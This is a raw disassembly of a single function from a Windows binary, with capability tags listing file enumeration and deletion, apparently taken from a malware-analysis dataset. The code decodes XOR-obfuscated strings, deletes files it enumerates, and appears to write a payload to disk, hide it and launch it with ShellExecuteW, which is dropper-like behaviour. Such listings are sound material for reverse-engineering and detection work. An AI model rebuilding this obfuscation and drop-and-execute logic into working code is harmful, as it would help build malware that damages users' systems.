Function at 0x1400578a0
Capabilities:
Check if file exists
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x718
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x690], 0xfffffffffffffffe
mov qword [rbp + 0x338], rcx
mov ecx, 9
mov edx, 0x41
mov r8d, 0x5a
call fcn.14005c570
mov rdi, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x580], xmm0
mov rcx, rax
call fcn.14035e25c
mov rbx, rax
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x14005841e
movabs rcx, 0x7ffffffffffffffe
cmp rbx, 7
ja 0x140057959
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], 7
lea r8, [rbx + rbx]
lea rcx, [rbp + 0x570]
mov rdx, rdi
call fcn.14033b090
lea rax, [rbx*2 + 0x570]
add rax, rbp
jmp 0x1400579e1
mov rax, rbx
or rax, 7
cmp rax, rcx
ja 0x140058b00
cmp rax, 0xb
mov esi, 0xa
cmovae rsi, rax
lea rcx, [rsi + rsi]
cmp rsi, 0x7ff
jb 0x1400579ad
movabs rax, 0x7fffffffffffffec
cmp rsi, rax
jae 0x140058b00
add rcx, 0x29
call fcn.14016e054
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400579b9
add rcx, 2
call fcn.14016e054
mov r14, rax
mov qword [rbp + 0x570], r14
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x588], rsi
lea r8, [rbx + rbx]
mov rcx, r14
mov rdx, rdi
call fcn.14033b090
lea rax, [r14 + rbx*2]
mov word [rax], 0
lea rcx, [rbp + 0x570]
call fcn.14005bb80
movabs rsi, 0x93775efe97d09e6d
mov qword [rbp - 0x40], rsi
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x340], rax
movabs rax, 0x87385f941d25ad2
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x348], rax
movabs rax, 0x528c5939e755ded
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x350], rax
movabs rax, 0x44dfa7c3aec0d8d7
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x358], rax
movabs rax, 0x93125e8897b59e03
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x40], rax
movabs rax, 0x81e858d41f85aa0
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x38], rax
movabs rax, 0x550c5f69e5b5d9d
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x30], rax
movabs rax, 0x44dfa7c3aec0d8b2
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x340]
movaps xmm1, xmmword [rbp + 0x350]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x340], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x350], xmm1
lea rbx, [rbp + 0x340]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x140057b4b
mov r14, rax
lea r15, [rbp - 0x14]
mov rdi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r12, [rbp - 0x40]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [rax + rax]
mov rcx, r15
call rdi
mov rcx, r14
mov rdx, r12
call r13
test eax, eax
jne 0x140057b30
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x933c5ef897d89e77
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x210], rax
movabs rax, 0x81e85e841805ac5
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x218], rax
movabs rdx, 0x93125e8897b59e03
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rcx, 0x81e858d41f85aa0
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x590], rbx
mov rax, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x340], rsi
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0x81e858d41f85ad2
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
mov qword [rbp + 0x340], rdx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x630], rcx
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x630], rbx
mov rax, qword [rbp + 0x630]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x590]
call fcn.14035e25c
mov r15, rax
mov r14, qword [rbp + 0x580]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, r15
jb 0x140058423
mov r12, qword [rbp + 0x570]
mov r13, qword [rbp + 0x588]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x350], xmm0
lea rsi, [r14 + r15]
mov edi, 7
cmp rsi, 8
jb 0x140057d2a
mov rax, rsi
or rax, 7
cmp rax, rcx
ja 0x140058b05
cmp rax, 0xb
mov edi, 0xa
cmovae rdi, rax
lea rcx, [rdi + rdi]
cmp rdi, 0x7ff
jb 0x140057d17
movabs rax, 0x7fffffffffffffec
cmp rdi, rax
jae 0x140058b05
add rcx, 0x29
call fcn.14016e054
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140057d23
add rcx, 2
call fcn.14016e054
mov rbx, rax
mov qword [rbp + 0x340], rbx
cmp r13, 8
lea r13, [rbp + 0x570]
cmovae r13, r12
mov qword [rbp + 0x350], rsi
mov qword [rbp + 0x358], rdi
lea r8, [r15 + r15]
lea rdx, [rbp + 0x590]
mov rcx, rbx
call fcn.14033b090
lea rcx, [rbx + r15*2]
add r14, r14
mov rdx, r13
mov r8, r14
call fcn.14033b090
mov word [rbx + rsi*2], 0
lea rbx, [rbp + 0x210]
mov rcx, rbx
call fcn.14035e25c
mov rcx, qword [rbp + 0x350]
mov rdx, qword [rbp + 0x358]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x140057dba
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
lea r9, [rbp + 0x210]
mov rdx, rax
call fcn.14003fae0
mov rdi, rax
jmp 0x140057df9
lea rsi, [rcx + rax]
mov qword [rbp + 0x350], rsi
lea rdi, [rbp + 0x340]
mov r14, rdi
cmp rdx, 8
jb 0x140057ddc
mov r14, qword [rbp + 0x340]
lea rcx, [r14 + rcx*2]
add rax, rax
lea rdx, [rbp + 0x210]
mov r8, rax
call fcn.14033b090
mov word [r14 + rsi*2], 0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x640], xmm1
movaps xmmword [rbp + 0x630], xmm0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 7
mov word [rdi], 0
mov rax, qword [rbp + 0x358]
cmp rax, 8
jb 0x140057e6f
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140057e6a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140058419
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e098
mov r14, qword [0x1406b53b0]
mov r15, qword [str.eaUoVa2wMi7qMy29rCav5qwZWdhhv5Vk11111111111111111111]
movabs rax, 0xfa663befb8dcee62
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x590], rax
movabs rax, 0x667beee235c730ce
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x598], rax
movabs rax, 0x550c5f69e5b5da0
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rax
movabs rcx, 0x44dfa7c3aec0d8b2
mov qword [rbp + 0x340], rcx
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x93125e8897b59e03
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rax, 0x81e858d41f85aa0
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x348], rax
movabs rax, 0x550c5f69e5b5d9d
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x210], rcx
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x358], rax
lea rdi, [rbp + 0x340]
mov qword [rbp + 0x210], rdi
mov rax, qword [rbp + 0x210]
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [rax]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x220], xmm0
lea r13, [rbp + 0x590]
mov rcx, r13
call fcn.14035cc10
test rax, rax
js 0x140058428
mov r12, rax
cmp rax, 0xf
ja 0x140058009
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x590]
mov r8, r12
call fcn.14033b090
add r12, rbp
add r12, 0x210
jmp 0x140058088
mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
mov rax, r12
or rax, 0xf
cmp rax, 0x17
mov esi, reloc.WS2_32.dll_shutdown
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x14005804b
lea rcx, [rsi + 0x28]
call fcn.14016e054
mov r13, rax
add r13, 0x27
and r13, 0xffffffffffffffe0
mov qword [r13 - 8], rax
jmp 0x140058057
lea rcx, [rsi + 1]
call fcn.14016e054
mov r13, rax
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x220], r12
mov qword [rbp + 0x228], rsi
lea rdx, [rbp + 0x590]
mov rcx, r13
mov r8, r12
call fcn.14033b090
add r12, r13
lea r13, [rbp + 0x590]
mov byte [r12], 0
mov rcx, r15
call fcn.14035cc10
mov rcx, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x228]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x1400580ca
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x210]
mov rdx, rax
mov r9, r15
call fcn.140013b80
mov rbx, rax
jmp 0x1400580fa
mov rsi, rax
add rsi, rcx
mov qword [rbp + 0x220], rsi
mov r12, rbx
cmp rdx, 0x10
jb 0x1400580e7
mov r12, qword [rbp + 0x210]
add rcx, r12
mov rdx, r15
mov r8, rax
call fcn.14033b090
mov byte [r12 + rsi], 0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x350], xmm1
movaps xmmword [rbp + 0x340], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rax, qword [rbp + 0x350]
cmp qword [rbp + 0x358], 0x10
jb 0x14005813a
mov rdi, qword [rbp + 0x340]
mov qword [rbp + 0x650], rdi
mov qword [rbp + 0x658], rax
mov rax, qword [r14]
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x20], 0
lea rbx, [rbp + 0x318]
lea r8, [rbp + 0x650]
mov rcx, r14
mov rdx, rbx
xor r9d, r9d
call rax
mov rax, qword [rbp + 0x358]
cmp rax, 0x10
jb 0x1400581c3
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400581be
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140058419
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e098
mov qword [rbp + 0x350], 0
mov qword [rbp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x340], 0
mov rax, qword [rbp + 0x228]
cmp rax, 0x10
jb 0x140058225
mov rcx, qword [rbp + 0x210]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140058220
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140058419
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e098
cmp qword [rbp + 0x648], 8
jb 0x140058238
mov rdx, qword [rbp + 0x630]
jmp 0x14005823f
lea rdx, [rbp + 0x630]
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x210]
mov r8d, 0x20
mov r9d, 0x40
call fcn.140040660
mov r8, qword [rbp + 0x328]
cmp r8, 0x1e8480
jbe 0x14005842d
cmp qword [rbp + 0x330], 0x10
jb 0x140058284
mov rbx, qword [rbp + 0x318]
lea rcx, [rbp + 0x210]
mov rdx, rbx
call fcn.1400518f0
lea rcx, [rbp + 0x210]
call fcn.140020960
cmp qword [rbp + 0x648], 8
jb 0x1400582b2
mov rcx, qword [rbp + 0x630]
jmp 0x1400582b9
lea rcx, [rbp + 0x630]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140058aed
mov rcx, qword [rbp + 0x338]
call fcn.1400578a0
lea rsi, [rbp + 0x2b8]
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea rcx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0x210], rcx
mov rax, qword [rbp + 0x210]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xa8]
mov dword [rbp + rax + 0x20c], ecx
lea rcx, [rbp + 0x218]
call fcn.14001b750
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x2b8], rax
mov rcx, rsi
call fcn.14016e680
mov rax, qword [rbp + 0x330]
cmp rax, 0x10
jb 0x140058374
mov rcx, qword [rbp + 0x318]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14005836f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140058419
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14016e098
mov rax, qword [rbp + 0x648]
cmp rax, 8
jb 0x1400583bc
mov rcx, qword [rbp + 0x630]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400583b7
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140058419
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e098
mov rax, qword [rbp + 0x588]
cmp rax, 8
jb 0x140058404
mov rcx, qword [rbp + 0x570]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400583ff
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140058419
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.14016e098
nop
add rsp, 0x718
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14034f94c
call fcn.140005090
call fcn.140005090
call fcn.140005090
movabs rax, 0x937d5efa97c79e46
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x650], rax
movabs rax, 0x82f85d641d85ad2
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x658], rax
movabs rax, 0x550c5f69e5b5dc0
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x660], rax
movabs r9, 0x44dfa7c3aec0d8b2
mov qword [rbp + 0x340], r9
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x668], rax
movabs r8, 0x93125e8897b59e03
mov qword [rbp + 0x340], r8
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x340], rax
movabs rdx, 0x81e858d41f85aa0
mov qword [rbp + 0x590], rdx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x348], rax
movabs r10, 0x550c5f69e5b5d9d
mov qword [rbp + 0x590], r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x590], r9
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x358], rax
lea rax, [rbp + 0x340]
mov qword [rbp + 0x590], rax
mov rcx, qword [rbp + 0x590]
movaps xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rcx]
movaps xmm1, xmmword [rbp + 0x660]
movaps xmmword [rbp + 0x650], xmm0
xorps xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x660], xmm1
movabs rcx, 0x93775ee697959e42
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x590], rcx
movabs rcx, 0x86c85e2418f5ad4
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x598], rcx
movabs rcx, 0x522c5939e7b5df6
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0x44ffa7b1aeafd8c0
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0xf2d55b4f10671cf8
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b0], rcx
movabs rcx, 0x49e5c9a4a191aa46
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5b8], rcx
movabs rcx, 0x9a3bebdaea16f44d
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c0], rcx
movabs rcx, 0x383e78483ce6ce3
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5c8], rcx
movabs rcx, 0xbf3c5f0840a5e06b
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d0], rcx
movabs rcx, 0x70dd6365d179d76b
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5d8], rcx
movabs rcx, 0x5674821cec86754a
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e0], rcx
movabs rcx, 0xfdd156ef02903cd3
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5e8], rcx
movabs rcx, 0x1b9bc9014a28704d
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f0], rcx
movabs rcx, 0x647d6e9618e0269c
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x5f8], rcx
movabs rcx, 0x77113781f60bf447
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x600], rcx
movabs rcx, 0x59d14c61ec8ae947
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x608], rcx
movabs rcx, 0xc4c8cf5c2915bd72
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x610], rcx
movabs rcx, 0xbb82974406ac54c4
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x618], rcx
movabs rcx, 0x9598e747052afc4c
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x620], rcx
movabs rcx, 0x4c079af3ad7bdf2c
mov qword [rbp + 0x340], rcx
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x628], rcx
mov qword [rbp + 0x340], r8
mov rcx, qword [rbp + 0x340]
mov qword [rbp + 0x340], rcx
mov qword [rbp + 0x670], rdx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x348], rcx
mov qword [rbp + 0x670], r10
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x350], rcx
mov qword [rbp + 0x670], r9
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x358], rcx
movabs rcx, 0xf2a05b2c10041c97
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x360], rcx
movabs rcx, 0x4981c9c1a1e3aa34
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x368], rcx
movabs rcx, 0x9a57ebaaea36f461
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x370], rcx
movabs rcx, 0x3e6e7f783af6c86
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x378], rcx
movabs rcx, 0xbf595f6040c6e04b
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x380], rcx
movabs rcx, 0x70a46345d112d708
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x388], rcx
movabs rcx, 0x5654826eecf37525
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x390], rcx
movabs rcx, 0xfdb4569b02fe3c9a
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x398], rcx
movabs rcx, 0x1befc9644a46703f
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a0], rcx
movabs rcx, 0x64136ef9188326bc
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3a8], rcx
movabs rcx, 0x776537e2f66ef429
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x59f14c0fece5e92e
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0xc4e8cf38297bbd13
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c0], rcx
movabs rcx, 0xbba2973d06de54b0
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3c8], rcx
movabs rcx, 0x95f1e726054dfc2d
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d0], rcx
movabs rcx, 0x4c079af3ad55df42
mov qword [rbp + 0x670], rcx
mov rcx, qword [rbp + 0x670]
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
movaps xmm0, xmmword [rbp + 0x590]
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmm2, xmmword [rbp + 0x5b0]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x590], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x5a0], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rbp + 0x5b0], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x5c0], xmm3
movaps xmm0, xmmword [rbp + 0x5d0]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x5d0], xmm0
movaps xmm0, xmmword [rbp + 0x5e0]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmm0, xmmword [rbp + 0x5f0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rbp + 0x5f0], xmm0
movaps xmm0, xmmword [rbp + 0x600]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp + 0x600], xmm0
movaps xmm0, xmmword [rbp + 0x610]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rbp + 0x610], xmm0
movaps xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rbp + 0x620], xmm0
lea rdx, [rbp + 0x590]
lea r8, [rbp + 0x650]
xor ecx, ecx
mov r9d, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.14034c2ec
cmp qword [rbp + 0x648], 8
jb 0x140058b0a
mov rcx, qword [rbp + 0x630]
jmp 0x140058b11
call fcn.140003610
call fcn.140003610
lea rcx, [rbp + 0x630]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0x340]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x670]
mov rdx, rbx
call fcn.140003840
movabs rax, 0x93765ef897c09e2e
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x550], rax
movabs rax, 0x83e85e8418c5ac1
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x558], rax
movabs rax, 0x550c5f69e5b5dbf
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x560], rax
movabs rcx, 0x44dfa7c3aec0d8b2
mov qword [rbp + 0x590], rcx
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x568], rax
movabs rax, 0x93125e8897b59e03
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x590], rax
movabs rax, 0x81e858d41f85aa0
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x598], rax
movabs rax, 0x550c5f69e5b5d9d
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x5a8], rax
mov qword [rbp + 0x650], r13
mov rax, qword [rbp + 0x650]
movaps xmm0, xmmword [rbp + 0x550]
movaps xmm1, xmmword [rbp + 0x560]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x550], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x560], xmm1
lea rcx, [rbp + 0x650]
lea rdx, [rbp + 0x550]
lea r8, [rbp + 0x670]
call fcn.14004a1c0
lea r8, [0x1403fcd00]
lea rbx, [rbp + 0x590]
lea rdx, [rbp + 0x650]
mov rcx, rbx
call fcn.14004e2a0
lea rdi, [rbp + 0x650]
mov rcx, rdi
call fcn.140003590
lea rcx, [rbp + 0x670]
call fcn.140003590
cmp qword [rbp + 0x5a8], 8
jb 0x140058cc5
mov rbx, qword [rbp + 0x590]
cmp qword [rbp + 0x648], 8
jb 0x140058cd8
mov r8, qword [rbp + 0x630]
jmp 0x140058cdf
lea r8, [rbp + 0x630]
movabs rax, 0x937c5eed97c59e6c
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x670], rax
movabs rcx, 0x81e858d41f85aa0
mov qword [rbp + 0x650], rcx
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x678], rax
movabs rax, 0x93125e8897b59e03
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x550], rcx
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x658], rax
mov qword [rbp + 0x550], rdi
mov rax, qword [rbp + 0x550]
movaps xmm0, xmmword [rbp + 0x670]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x670], xmm0
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x670]
xor ecx, ecx
mov r9, rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor ecx, ecx
call fcn.14034c2ec
int3